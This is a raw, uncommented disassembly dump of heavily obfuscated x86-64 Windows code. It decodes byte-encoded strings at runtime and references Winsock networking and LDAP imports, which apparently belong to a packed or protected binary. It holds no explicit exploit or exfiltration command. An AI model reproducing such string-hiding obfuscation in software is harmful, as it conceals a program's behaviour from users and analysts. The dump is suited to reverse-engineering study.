movabs rcx, 0x44a480ec2ef061b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rcx - 8]
jmp 0x14008b8eb
movabs rdx, 0x5b6858702b981e6c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rcx, 0x79555fa1980818e4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x3c
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rcx, 0xd8a4620766d8170c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x54
inc r9
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rcx, 0x37f3646d35a81534
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x6c
movabs rdx, 0x539b0484e5285ef4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0x680], cl
inc r9
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0xb52f6e0470e80dd4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0x73cd72d00e880a24
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
mov rdi, r10
movabs rdx, 0x326b779bac280674
add rdx, rsi
movzx eax, dl
and al, r10b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2c
add bl, dl
movabs rdx, 0x94fcffb9478862a4
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x7c
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0x680], al
inc r9
add rax, r9
sub rsi, rax
movabs rdx, 0xe5557e8660206390
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0x680], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
jmp 0x14008b976
movabs rcx, 0xf1097c6749c802c4
add rcx, rsi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5c
movzx eax, byte [rbp + rsi + 0x680]
add rax, r9
add rsi, rax
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rcx, 0xbdf9e08dc6f87a9c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x44
jmp 0x14008ad1e
movabs rcx, 0x1d48e2f395c878c4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5c
jmp 0x14008ad0a
lea rcx, [rbp + 0x160a510]
jmp 0x14008b9f9
lea rcx, [rbp + 0x78a5fc]
jmp 0x14008b9f9
lea rcx, [rbp + 0x680]
mov dword [rbp + 0xf78], 0x41200000
mov dword [rbp + 0xf80], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf78]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf80]
mov r8, r15
mov edx, 8
call fcn.1400375c0
call fcn.140040010
mov byte [rbp + 0x6a8], 0x99
mov byte [rbp + 0x6a9], Ordinal_79
mov byte [rbp + 0x6aa], 0x40
mov byte [rbp + 0x6ab], reloc.WLDAP32.dll_Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6ac], xmm0
mov qword [rbp + 0x6bc], rax
mov dword [rbp + 0x6c4], eax
mov word [rbp + 0x6c8], ax
mov byte [rbp + 0x6ca], al
movabs rdi, 0xdc9fc3a9d84b319f
movabs rsi, 0xfd76d22742533c41
movabs r15, 0xc15cf0efb4f763e3
movabs r14, 0x7abcf047d864747b
movabs r12, 0xf8030e686e75acb5
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008c85f
movzx r11d, byte [rbp + rbx + 0x6a8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008c853
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008bb23
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x35
jmp 0x14008bb50
je 0x14008c7cb
inc rax
cmp r8, rax
je 0x14008c798
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c76e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c71d
nop
cmp r9, rbx
ja 0x14008c847
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008bb81
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
jmp 0x14008bbb0
je 0x14008c6f9
inc rax
cmp r8, rax
je 0x14008c69c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c604
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c5cf
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008c247
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008c21e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008c1f1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008c1c2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c19e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008c167
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008c12e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008c10a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008c0e1
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008c0ac
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008bbc0
lea r8, [r9 + 0x61]
lea r9, [r8 + 8]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008c823
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008c7ff
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008bdad
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008bd92
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008bd77
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008c04e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008bfe3
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008bf97
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008bf68
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008bbc0
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008bf33
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008bf0a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008bee6
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008bead
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008be76
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008be4d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008be1e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008bdf1
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008bdc8
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008bbc0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
jmp 0x14008bbc0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x39
jmp 0x14008bbb0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x14008bb50
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
jmp 0x14008bae5
movabs rdx, 0xe4fe1d4ec2598cf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c73c
movabs rcx, 0x62443b6f586ac532
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
inc r9
dec rbx
inc rbx
jmp 0x14008bad2
movabs rdx, 0xdf8a598fee7bfd6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008bad2
movabs rdx, 0x5cd077b0848d35a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c6ba
movabs rcx, 0xda1695d11a9e6de0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rdx, 0x575cb3f1b0afa61a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rcx, 0xd4a2d21246c0de54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14008c623
movabs rdx, 0x51e8f032dcd2168e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c653
movabs rcx, 0xcf2f0e5372e34ec8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rcx, 0x85e59a4ea0e5b59
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
mov byte [rbp + rbx + 0x6a8], r10b
inc rbx
jmp 0x14008bad2
movabs rcx, 0x85a477c5801f9393
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
cmp r9, 0x28
jb 0x14008bf87
movabs rcx, 0xb07ff821a91cc72
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x3c]
jmp 0x14008c73c
movabs rcx, 0x2ea95e61630cbcd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
cmp r8, 1
jae 0x14008c57d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008c49b
movabs rcx, 0x727f0ea7612cc67c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rcx, 0x8030b406ac420407
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14008c5a9
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14008c3ce
movabs rcx, 0x1325691e1ef2cd17
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x14008c002
movabs rcx, 0x2bbe95fb11c329ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rdx, 0xa904b41ba7d461f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c653
movabs rcx, 0x264ad23c3de59a2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14008c623
movabs rdx, 0xa390f05cd3f6d268
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x20d70e7d6a080aa2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x9e1d2c9e001942dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14008c6ba
movabs rdx, 0x1b634abe962a7b16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x98a968df2c3bb350
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14008bad2
movabs rdx, 0x15ef86ffc24ceb8a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c73c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008c26f
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
jmp 0x14008c06d
jne 0x14008c2af
movabs rdx, 0xb93f8753b096633e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
inc rax
cmp r8, rax
jne 0x14008c2e4
movabs rdx, 0xbeb34b128473f2ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c623
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008c328
movabs rcx, 0xc4270ed158518256
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c35e
movabs rdx, 0x46e0f0b0c2404a1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c6ba
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008c39d
movabs rdx, 0x4c54b46f961dd9a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008bad2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c06d
movabs rcx, 0xcf0e964f000ca16e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x14008c73c
jne 0x14008c3f8
movabs rcx, 0x95df4afd88e194dd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
jmp 0x14008c73c
inc rax
cmp r8, rax
jne 0x14008c428
movabs rcx, 0x1e0cf09bc6adec2f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
jmp 0x14008c6ba
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c459
movabs rcx, 0xa63a963a047a4381
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x14008c623
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c002
movabs rcx, 0xabae59f8d857d30d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008c4cc
movabs rcx, 0x77f2d266350a5608
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14008c623
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008c510
movabs rcx, 0x7d66962508e7e594
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c541
movabs rcx, 0x20780472d6ad5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x14008c6ba
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008bfb6
movabs rdx, 0x82da59e3dcc57520
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008bad2
movabs rdx, 0x8dc1e16184809438
add rdx, rbx
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rbx + 0x6a8]
sub cl, al
add cl, 0x3c
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14008c6ba
movabs rdx, 0x107bc340ee6f5bfe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14008c623
movabs rcx, 0x7528b48491b03795
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rcx, 0x6fb4f0c5bdd2a809
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
movabs rcx, 0xd1d8b430a366bfe1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x27
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x6a8], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x9335a520585e23c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5c
add r11b, cl
mov byte [rbp + rbx + 0x6a8], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rcx, 0xe7874b27800650b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
movabs rcx, 0x4f1ed2513977f81b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x43
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x6a8], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x5f59a5894239f965
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
jmp 0x14008c73c
movabs rcx, 0x59e5e1ca6e5c69d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
movabs rcx, 0xcc64f071cf893055
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x53
add cl, r11b
mov byte [rbp + rbx + 0x6a8], cl
inc r9
dec rbx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x54721e0b9a7eda4d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
dec rbx
inc rbx
jmp 0x14008bad2
movabs rcx, 0xcc44786d5cb282fb
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x23
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008bad2
movabs rcx, 0x4416d2cf1ee62ba9
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x61
movzx eax, byte [rbp + rbx + 0x6a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008bad2
movabs rcx, 0x75492c890486e4ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
jmp 0x14008bad0
movabs rcx, 0xf28f4aa99a981d29
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x14008bac0
lea rcx, [rbp + 0x177232c]
jmp 0x14008c866
lea rcx, [rbp + 0xae870f]
jmp 0x14008c866
lea rcx, [rbp + 0x6a8]
xor r8d, r8d
xor edx, edx
call fcn.14003ff90
test al, al
je 0x140099177
lea rcx, str.General
call fcn.140035f00
lea rdx, [0x14021ac30]
lea rcx, [rbp + 0x160]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xc0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0x6d0], 0xa1
mov byte [rbp + 0x6d1], Ordinal_200
mov byte [rbp + 0x6d2], 0xdb
mov byte [rbp + 0x6d3], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x6d4], Ordinal_200
mov byte [rbp + 0x6d5], 0xda
mov byte [rbp + 0x6d6], 0x9c
mov byte [rbp + 0x6d7], 0xa9
mov byte [rbp + 0x6d8], Ordinal_200
mov byte [rbp + 0x6d9], Ordinal_200
mov byte [rbp + 0x6da], Ordinal_200
mov byte [rbp + 0x6db], Ordinal_211
mov byte [rbp + 0x6dc], Ordinal_211
mov byte [rbp + 0x6dd], 0xc0
mov byte [rbp + 0x6de], reloc.WS2_32.dll_WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6df], xmm0
mov dword [rbp + 0x6ef], eax
movabs rsi, 0x58cdb0ba719c5bb
movabs r12, 0x43a8e82c87528f
movabs r14, 0x24bcb6102d79d3a5
movabs r15, 0x2435643fd46b2e87
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008d721
movzx r11d, byte [rbp + rbx + 0x6d0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008d715
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008c9e3
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x17
jmp 0x14008ca10
je 0x14008d68c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008d5f2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008d58d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008d53c
cmp r9, rbx
ja 0x14008d709
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008ca41
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
jmp 0x14008ca80
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008d518
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008d4ee
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008d4ca
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008d496
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008d0f9
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008d0d5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008d0a3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008d074
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008d04b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008d027
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008cff3
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008cfcf
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008cfa6
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008cf6c
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008ca90
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x64]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008d6e4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008d6c0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008cc80
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008cc65
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008cc4a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008cf0c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008cead
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008ce5b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008ce2c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008ca90
lea r8, [r9 + 0x10]
lea r9, [r8 + 1]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008cdf7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008cdd3
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008cdaa
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008cd71
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008cd48
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008cd24
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008ccfa
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008cccd
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008cca4
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008ca90
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x28]
jmp 0x14008ca90
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x14008ca80
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
jmp 0x14008ca10
movabs rcx, 0x23ae126f7b5c8969
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
jmp 0x14008c9a5
movabs rdx, 0x2c66d85d38ce2dd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d55b
movabs rcx, 0x2bdf868cdfbf88ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
inc r9
dec rbx
inc rbx
jmp 0x14008c992
